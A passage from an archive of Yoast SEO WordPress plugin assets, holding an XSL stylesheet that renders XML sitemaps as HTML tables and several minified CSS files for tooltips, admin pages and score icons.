fill="#fcee21" d="M145.22 62.31c-3.94 1.59-12.14 3.79-17.43 1.19 0 0-1.22-9.33 5.51-8.76s11.92 7.57 11.92 7.57Z"/><path fill="#f15a24" d="M127.69 63.52c-1.85-4-.92-8.41 4.11-9.48 4.24-.75 11.08 1.85 13.5 8.21-.29.22-7.6-8.06-14-6.15-4.44 1.33-3.13 7.35-3.61 7.42ZM122.88 45.74c-1.23.51.14 4 1.3 4.36s9.23-2.79 12.1-2.41 8.81 4.79 11.58 7c-.44-1.88-7.92-9.3-10.88-9.92s-12.87.45-14.1.97Z"/><ellipse cx="131.8" cy="60.56" fill="#f15a24" rx="3.76" ry="3.99" transform="rotate(-5.96 131.772 60.6)"/></svg>wordpress-seo/css/main-sitemap.xsl000064400000010113147510273070013266 0ustar00<?xml version="1.0" encoding="UTF-8"?>
	<xsl:stylesheet version="2.0"
		xmlns:html="http://www.w3.org/TR/REC-html40"
		xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"
		xmlns:sitemap="http://www.sitemaps.org/schemas/sitemap/0.9"
		xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
	<xsl:output method="html" version="1.0" encoding="UTF-8" indent="yes"/>
	<xsl:template match="/">
		<html xmlns="http://www.w3.org/1999/xhtml">
		<head>
			<title>XML Sitemap</title>
			<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
			<style type="text/css">
				body {
					font-family: Helvetica, Arial, sans-serif;
					font-size: 13px;
					color: #545353;
				}
				table {
					border: none;
					border-collapse: collapse;
				}
				#sitemap tr:nth-child(odd) td {
					background-color: #eee !important;
				}
				#sitemap tbody tr:hover td {
					background-color: #ccc;
				}
				#sitemap tbody tr:hover td, #sitemap tbody tr:hover td a {
					color: #000;
				}
				#content {
					margin: 0 auto;
					width: 1000px;
				}
				.expl {
					margin: 18px 3px;
					line-height: 1.2em;
				}
				.expl a {
					color: #da3114;
					font-weight: 600;
				}
				.expl a:visited {
					color: #da3114;
				}
				a {
					color: #000;
					text-decoration: none;
				}
				a:visited {
					color: #777;
				}
				a:hover {
					text-decoration: underline;
				}
				td {
					font-size:11px;
				}
				th {
					text-align:left;
					padding-right:30px;
					font-size:11px;
				}
				thead th {
					border-bottom: 1px solid #000;
				}
			</style>
		</head>
		<body>
		<div id="content">
			<h1>XML Sitemap</h1>
			<p class="expl">
				Generated by <a href="https://yoa.st/1y5" target="_blank" rel="noopener">Yoast SEO</a>, this is an XML Sitemap, meant for consumption by search engines.<br/>
				You can find more information about XML sitemaps on <a href="https://sitemaps.org" target="_blank" rel="noopener">sitemaps.org</a>.
			</p>
			<xsl:if test="count(sitemap:sitemapindex/sitemap:sitemap) &gt; 0">
				<p class="expl">
					This XML Sitemap Index file contains <xsl:value-of select="count(sitemap:sitemapindex/sitemap:sitemap)"/> sitemaps.
				</p>
				<table id="sitemap" cellpadding="3">
					<thead>
					<tr>
						<th width="75%">Sitemap</th>
						<th width="25%">Last Modified</th>
					</tr>
					</thead>
					<tbody>
					<xsl:for-each select="sitemap:sitemapindex/sitemap:sitemap">
						<xsl:variable name="sitemapURL">
							<xsl:value-of select="sitemap:loc"/>
						</xsl:variable>
						<tr>
							<td>
								<a href="{$sitemapURL}"><xsl:value-of select="sitemap:loc"/></a>
							</td>
							<td>
								<xsl:value-of select="concat(substring(sitemap:lastmod,0,11),concat(' ', substring(sitemap:lastmod,12,5)),concat(' ', substring(sitemap:lastmod,20,6)))"/>
							</td>
						</tr>
					</xsl:for-each>
					</tbody>
				</table>
			</xsl:if>
			<xsl:if test="count(sitemap:sitemapindex/sitemap:sitemap) &lt; 1">
				<p class="expl">
					This XML Sitemap contains <xsl:value-of select="count(sitemap:urlset/sitemap:url)"/> URLs.
				</p>
				<table id="sitemap" cellpadding="3">
					<thead>
					<tr>
						<th width="80%">URL</th>
						<th width="5%">Images</th>
						<th title="Last Modification Time" width="15%">Last Mod.</th>
					</tr>
					</thead>
					<tbody>
					<xsl:variable name="lower" select="'abcdefghijklmnopqrstuvwxyz'"/>
					<xsl:variable name="upper" select="'ABCDEFGHIJKLMNOPQRSTUVWXYZ'"/>
					<xsl:for-each select="sitemap:urlset/sitemap:url">
						<tr>
							<td>
								<xsl:variable name="itemURL">
									<xsl:value-of select="sitemap:loc"/>
								</xsl:variable>
								<a href="{$itemURL}">
									<xsl:value-of select="sitemap:loc"/>
								</a>
							</td>
							<td>
								<xsl:value-of select="count(image:image)"/>
							</td>
							<td>
								<xsl:value-of select="concat(substring(sitemap:lastmod,0,11),concat(' ', substring(sitemap:lastmod,12,5)),concat(' ', substring(sitemap:lastmod,20,6)))"/>
							</td>
						</tr>
					</xsl:for-each>
					</tbody>
				</table>
			</xsl:if>
		</div>
		</body>
		</html>
	</xsl:template>
	</xsl:stylesheet>
wordpress-seo/css/dist/tooltips-2420.css000064400000007143147510273070014102 0ustar00.yoast-tooltip{position:relative}button.yoast-tooltip{overflow:visible}.yoast-tooltip:after{word-wrap:break-word;-webkit-font-smoothing:subpixel-antialiased;background:#000c;border-radius:3px;color:#fff;content:attr(aria-label);display:none;font:normal normal 11px/1.45454545 Helvetica,arial,nimbussansl,liberationsans,freesans,clean,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;letter-spacing:normal;opacity:0;padding:6px 8px 5px;pointer-events:none;position:absolute;text-align:center;text-decoration:none;text-shadow:none;text-transform:none;white-space:pre;z-index:1000000}.yoast-tooltip-alt:after{content:attr(data-label)}.yoast-tooltip:before{border:5px solid #0000;color:#000c;content:"\00a0";display:none;height:0;opacity:0;pointer-events:none;position:absolute;width:0;z-index:1000001}@keyframes yoast-tooltip-appear{0%{opacity:0}to{opacity:1}}.yoast-tooltip:active:after,.yoast-tooltip:active:before,.yoast-tooltip:focus:after,.yoast-tooltip:focus:before,.yoast-tooltip:hover:after,.yoast-tooltip:hover:before{animation-duration:.1s;animation-fill-mode:forwards;animation-name:yoast-tooltip-appear;animation-timing-function:ease-in;display:inline-block;text-decoration:none}.yoast-tooltip-no-delay:active:after,.yoast-tooltip-no-delay:active:before,.yoast-tooltip-no-delay:focus:after,.yoast-tooltip-no-delay:focus:before,.yoast-tooltip-no-delay:hover:after,.yoast-tooltip-no-delay:hover:before{animation:none;opacity:1}.yoast-tooltip-multiline:active:after,.yoast-tooltip-multiline:focus:after,.yoast-tooltip-multiline:hover:after{display:table-cell}.yoast-tooltip-s:after,.yoast-tooltip-se:after,.yoast-tooltip-sw:after{margin-top:5px;right:50%;top:100%}.yoast-tooltip-s:before,.yoast-tooltip-se:before,.yoast-tooltip-sw:before{border-bottom-color:#000c;bottom:-5px;margin-right:-5px;right:50%;top:auto}.yoast-tooltip-se:after{left:50%;margin-left:-15px;right:auto}.yoast-tooltip-sw:after{margin-right:-15px}.yoast-tooltip-n:after,.yoast-tooltip-ne:after,.yoast-tooltip-nw:after{bottom:100%;margin-bottom:5px;right:50%}.yoast-tooltip-n:before,.yoast-tooltip-ne:before,.yoast-tooltip-nw:before{border-top-color:#000c;bottom:auto;margin-right:-5px;right:50%;top:-5px}.yoast-tooltip-ne:after{left:50%;margin-left:-15px;right:auto}.yoast-tooltip-nw:after{margin-right:-15px}.yoast-tooltip-n:after,.yoast-tooltip-s:after{transform:translateX(50%)}.yoast-tooltip-w:after{bottom:50%;margin-right:5px;right:100%;transform:translateY(50%)}.yoast-tooltip-w:before{border-left-color:#000c;bottom:50%;left:-5px;margin-top:-5px;top:50%}.yoast-tooltip-e:after{bottom:50%;left:100%;margin-left:5px;transform:translateY(50%)}.yoast-tooltip-e:before{border-right-color:#000c;bottom:50%;margin-top:-5px;right:-5px;top:50%}.yoast-tooltip-multiline:after{word-wrap:normal;border-collapse:initial;max-width:250px;white-space:pre-line;width:250px;width:max-content;word-break:break-word}.yoast-tooltip-multiline.yoast-tooltip-n:after,.yoast-tooltip-multiline.yoast-tooltip-s:after{left:50%;right:auto;transform:translateX(-50%)}.yoast-tooltip-multiline.yoast-tooltip-e:after,.yoast-tooltip-multiline.yoast-tooltip-w:after{right:100%}@media screen and (min-width:0\0){.yoast-tooltip-multiline:after{width:250px}}.yoast-tooltip-sticky:after,.yoast-tooltip-sticky:before{display:inline-block}.yoast-tooltip-sticky.yoast-tooltip-multiline:after{display:table-cell}@media only screen and (-moz-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2),only screen and (min-resolution:192dpi),only screen and (min-resolution:2dppx){.yoast-tooltip-w:after{margin-right:4.5px}}.yoast-tooltip.yoast-tooltip-hidden:after,.yoast-tooltip.yoast-tooltip-hidden:before{display:none}wordpress-seo/css/dist/filter-explanation-2420-rtl.css000064400000000107147510273070016622 0ustar00#posts-filter .wpseo-filter-explanation{clear:both;margin:10px 1px 5px}wordpress-seo/css/dist/workouts-2420-rtl.css000064400000017606147510273070014726 0ustar00#wpseo-workouts-container-free h1,#wpseo-workouts-container-free h3{color:#a4286a;font-weight:500}#wpseo-workouts-container-free h3{font-size:18px;line-height:24px}.card.card-small h3{min-height:48px}#wpseo-workouts-container-free h2{font-size:12px;text-transform:uppercase}#wpseo-workouts-container-free #workouts-page-description{font-size:16px;max-width:600px}.workflow tr.cornerstone{font-weight:700}#wpseo-workouts-container-free hr{margin-bottom:24px;margin-top:8px}#wpseo-workouts-container-free progress{margin:16px 0 8px}#wpseo-workouts-container-free div.card{border-color:#0003;border-radius:8px;border-width:1px;box-shadow:0 1px 3px 0 #0000001a,0 1px 2px 0 #0000000f;max-width:720px;padding:24px;width:100%}#wpseo-workouts-container-free div.card>h2{margin:0}#wpseo-workouts-container-free div.card.card-small{display:flex;flex-direction:column;max-width:320px}#wpseo-workouts-container-free div.card.card-small svg{height:146px;width:204px}#wpseo-workouts-container-free div.card.card-small svg *{height:100%;width:100%}#wpseo-workouts-container-free div.card.card-small>span{margin-top:auto}#wpseo-workouts-container-free table button{margin:2px}.workflow{counter-reset:line-number;list-style:none;margin-right:48px}.workflow li li{counter-increment:none;line-height:19px;margin-bottom:8px}.workflow li.step{counter-increment:line-number;padding-bottom:16px;position:relative}.workflow .yoast-button.yoast-button--finished{opacity:.5}.workflow .finish-button-section .finish-button-saved{color:#6ea029;grid-column-end:3;grid-column-start:3;margin-right:10px;position:relative}.workflow .finish-button-section .finish-button-saved:before{background:var(--yoast-svg-icon-check);background-size:18px 13px;content:"";height:13px;right:-18px;position:absolute;top:2px;width:18px}.workflow li.step>.yoast-button.orphaned-summary{display:initial;margin:0}.yoast .yoast-button--arrow-down{display:inline-block;flex-shrink:0;height:16px;margin:0 6px 0 -2px;width:16px}.workflow>li.step:before{background:#a4286a;bottom:-20px;content:"";right:-33px;position:absolute;top:0;width:2px}.workflow .extra-list-content{position:relative}.workflow>li.step:last-of-type:before{display:none}.workflow>li.step:after{background:#fff;border:2px solid #a4286a;border-radius:100%;color:#a4286a;content:counter(line-number);display:block;height:28px;right:-48px;line-height:28px;position:absolute;text-align:center;top:-8px;width:28px}.workflow li.step.finished:after{background:url("data:image/svg+xml;charset=utf-8,%3Csvg width='24' fill='none' stroke='%23FFF' height='24' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m5 13 4 4L19 7'/%3E%3C/svg%3E") #a4286a;background-position:50%;background-repeat:no-repeat;background-size:20px 20px;content:""}.workflow li.step.finished.faded p,.workflow li.step.finished.faded table{opacity:.5}.workflow li.step img{max-width:100%}.workflow li.step img.workflow__image{max-height:100px;max-width:100px}.workflow li.step.yoast-fadeout:before{background:linear-gradient(-180deg,#a4286a,#fff 75%);display:block}.workflow li.step #react-select-2-input{box-shadow:none!important}.workflows__index{display:flex;flex-wrap:wrap;gap:16px}.workflows__index .yoast-button{width:100%}table.yoast_help.yoast_link_suggestions thead td{padding:16px 8px}table.yoast_help.yoast_link_suggestions td{vertical-align:middle}table.yoast_help th.divider{text-align:center}.workflow table.yoast_help td{vertical-align:middle}.workflow table.yoast_help.yoast_link_suggestions td div{display:inline-block}.workflow table.yoast_help.yoast_link_suggestions td strong{display:inline-block;margin-left:8px}.components-modal__header{height:72px;padding:0 24px}.components-modal__header .components-modal__header-heading{color:#a4286a;font-size:20px;font-weight:400;line-height:1.2;margin:0}.components-modal__header .yoast-icon{background-color:var(--yoast-color-primary);display:inline-block;height:20px;margin-left:8px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:20px}.components-modal__content{padding:0 24px 24px}.components-modal__content input[type=text]{max-width:400px;width:100%}.components-modal__frame.yoast__workout{max-width:720px}.yoast__redirect-suggestions{line-height:2}.components-modal__screen-overlay{animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards;background-color:#00000059;bottom:0;right:0;position:fixed;left:0;top:0;z-index:100000}@media (prefers-reduced-motion:reduce){.components-modal__screen-overlay{animation-delay:0s;animation-duration:1ms}}.components-modal__frame{background:#fff;border-radius:2px;bottom:0;box-shadow:0 10px 10px #00000040;box-sizing:border-box;right:0;margin:0;overflow:auto;position:absolute;left:0;top:0}@media (min-width:600px){.components-modal__frame{animation:components-modal__appear-animation .1s ease-out;animation-fill-mode:forwards;bottom:auto;right:50%;max-height:90%;max-width:calc(100% - 32px);min-width:360px;left:auto;top:50%;transform:translate(50%,-50%)}}@media (min-width:600px) and (prefers-reduced-motion:reduce){.components-modal__frame{animation-delay:0s;animation-duration:1ms}}@keyframes components-modal__appear-animation{0%{margin-top:32px}to{margin-top:0}}.components-modal__header{align-items:center;background:#fff;border-bottom:1px solid #ddd;box-sizing:border-box;display:flex;flex-direction:row;height:60px;justify-content:space-between;margin:0 -32px 24px;padding:0 32px;position:relative;position:sticky;top:0;z-index:10}@supports (-ms-ime-align:auto){.components-modal__header{position:fixed;width:100%}}.components-modal__header .components-modal__header-heading{font-size:1rem;font-weight:600}.components-modal__header h1{line-height:1;margin:0}.components-modal__header .components-button{right:8px;position:relative}.components-modal__header-heading-container{align-items:center;display:flex;flex-direction:row;flex-grow:1;justify-content:left}.components-modal__header-icon-container{display:inline-block}.components-modal__header-icon-container svg{max-height:36px;max-width:36px;padding:8px}.components-modal__content{box-sizing:border-box;height:100%;padding:0 32px 24px}@supports (-ms-ime-align:auto){.components-modal__content{padding-top:60px}}.workflow li.step h4{font-size:14px;font-weight:600;margin:24px 0 0}.workflow .yoast-social-profiles-input-fields{margin:10px 0 20px}.workflow .tracking-radiobuttons{line-height:19px;margin:0 0 20px}.workflow .yoast-tracking{list-style-position:inside;list-style-type:disc;padding:inherit}.yoast-list--usp{margin-bottom:16px;padding-right:24px}.yoast-list--usp li{margin-bottom:16px;position:relative}.yoast-list--usp li:before{background:var(--yoast-svg-icon-check);background-size:18px 13px;content:"";height:13px;right:-24px;position:absolute;top:3px;width:18px}.workout-card-content-flex{display:flex}.card.card-small .yoast-button-upsell{box-shadow:inset 0 -2px 0 #0003;filter:none;font-family:inherit;min-height:40px}.card.card-small button{box-shadow:inset 0 -2px 0 #0000004d;filter:none;min-height:40px}.card.card-small button.yoast-button--secondary{box-shadow:inset 0 -2px 0 #0000001a}.workout-card-content-flex ul{margin-left:8px}.workout-card-content-flex img{max-width:120px}.workout-card-upsell-button{opacity:1}#wpseo-workouts-container-free div.card.card-small.card-disabled{background-color:#ffffff80}#wpseo-workouts-container-free div.card.card-small.card-disabled .workout-card-content-flex,#wpseo-workouts-container-free div.card.card-small.card-disabled .workout-card-progress,#wpseo-workouts-container-free div.card.card-small.card-disabled h2,#wpseo-workouts-container-free div.card.card-small.card-disabled h3{opacity:.5}.workflow__grid{display:grid;gap:8px;grid-template-columns:auto 100px}.workflow__grid>div:last-of-type{display:flex;flex-wrap:wrap;justify-content:flex-end}@media screen and (max-width:768px){#wpseo-workouts-container-free #workouts-page-description{max-width:320px}}wordpress-seo/css/dist/introductions-2420-rtl.css000064400000022655147510273070015735 0ustar00:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-color-default:#404040;--yoast-color-default-darker:#303030;--yoast-color-primary:#a4286a;--yoast-color-secondary:#f7f7f7;--yoast-color-white:#fff;--yoast-color-green:#6ea029;--yoast-color-primary-darker:#7b1e50;--yoast-color-primary-lighter:#f5d6e6;--yoast-color-secondary-darker:#d9d9d9;--yoast-color-button-upsell:#fec228;--yoast-color-button-upsell-hover:#f2ae01;--yoast-color-dark:#303030;--yoast-color-sale:#fec228;--yoast-color-sale-darker:#feb601;--yoast-color-border:#0003;--yoast-color-label:#303030;--yoast-color-label-help:#707070;--yoast-color-active:#6ea029;--yoast-color-inactive:#dc3232;--yoast-color-inactive-text:#707070;--yoast-color-inactive-grey:#9e9e9e;--yoast-color-inactive-grey-light:#f1f1f1;--yoast-color-active-light:#b6cf94;--yoast-transition-default:all 150ms ease-out;--yoast-color-link:#006dac;--yoast-color-border--default:#0003;--yoast-color-focus:0 0 0 2px #007fff,0 0 0 5px #bfdfff}.yst-root .yst-introduction-modal .yst-modal__close-button{--tw-text-opacity:1;background-color:initial;color:rgb(107 114 128/var(--tw-text-opacity))}.yst-root .yst-introduction-modal .yst-modal__close-button:focus{--tw-ring-offset-width:0px;outline:2px solid #0000;outline-offset:2px}.yst-root .yst-introduction-gradient{background:linear-gradient(-180deg,#a61e6940 10%,#fff0 80%)}.yst-root .yst-introduction-modal-uppercase{--tw-text-opacity:1;color:rgb(100 116 139/var(--tw-text-opacity));letter-spacing:.8px;text-transform:uppercase}.yst-root .yst-logo-icon{background-color:var(--yoast-color-primary);height:17px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:17px}wordpress-seo/css/dist/academy-2420.css000064400000000676147510273070013634 0ustar00.seo_page_wpseo_page_academy{--tw-bg-opacity:1;background-color:rgb(241 245 249/var(--tw-bg-opacity));z-index:-1}.seo_page_wpseo_page_academy #wpcontent{padding-left:0!important}.seo_page_wpseo_page_academy #wpfooter{padding-right:1rem}@media (min-width:768px){.seo_page_wpseo_page_academy #wpfooter{padding-left:17rem;padding-right:2rem}}@media screen and (max-width:782px){.seo_page_wpseo_page_academy .wp-responsive-open #wpbody{right:-190px}}wordpress-seo/css/dist/yst_seo_score-2420-rtl.css000064400000000774147510273070015707 0ustar00.wpseo-score-icon{background:#888;border-radius:50%!important;display:inline-block!important;height:12px!important;margin:3px 3px 0 10px;vertical-align:top;width:12px!important}.wpseo-score-icon.good{background-color:#7ad03a}.wpseo-score-icon.ok{background-color:#ee7c1b}.wpseo-score-icon.bad{background-color:#dc3232}.wpseo-score-icon.na{background-color:#888}.wpseo-score-icon.noindex{background-color:#1e8cbe}.wpseo-score-title{font-weight:600}#taxonomy_overall{margin-right:87.5%;position:absolute;top:0}wordpress-seo/css/dist/block-editor-2420.css000064400000000113147510273070014571 0ustar00.editor-styles-wrapper mark.annotation-text-yoast{background-color:#e1bee7}wordpress-seo/css/dist/dashboard-2420-rtl.css000064400000001751147510273070014752 0ustar00#yoast-seo-dashboard-widget h3{font-weight:700}#yoast-seo-dashboard-widget .assessments,#yoast-seo-dashboard-widget .score-assessments{padding-right:0}#yoast-seo-dashboard-widget .wordpress-feed{border-top:1px solid #eee;margin:16px -12px 0;padding:12px 12px 0}#yoast-seo-dashboard-widget .wordpress-feed .wordpress-feed__post{margin-top:12px}#yoast-seo-dashboard-widget .wordpress-feed .wordpress-feed__footer{border-top:1px solid #eee;margin:0 -12px;padding:4px 12px 0}#yoast-seo-dashboard-widget:empty:before,#yoast-seo-wincher-dashboard-widget:empty:before{animation:rotate 2s linear infinite;background-image:url(../../packages/js/images/Yoast_SEO_Icon.svg);content:"";display:block;height:40px;margin:25px auto;width:40px}@keyframes rotate{0%{transform:perspective(120px) rotateX(0deg) rotateY(0deg);-webkit-transform:perspective(120px) rotateX(0deg) rotateY(0deg)}to{transform:perspective(120px) rotateX(0deg) 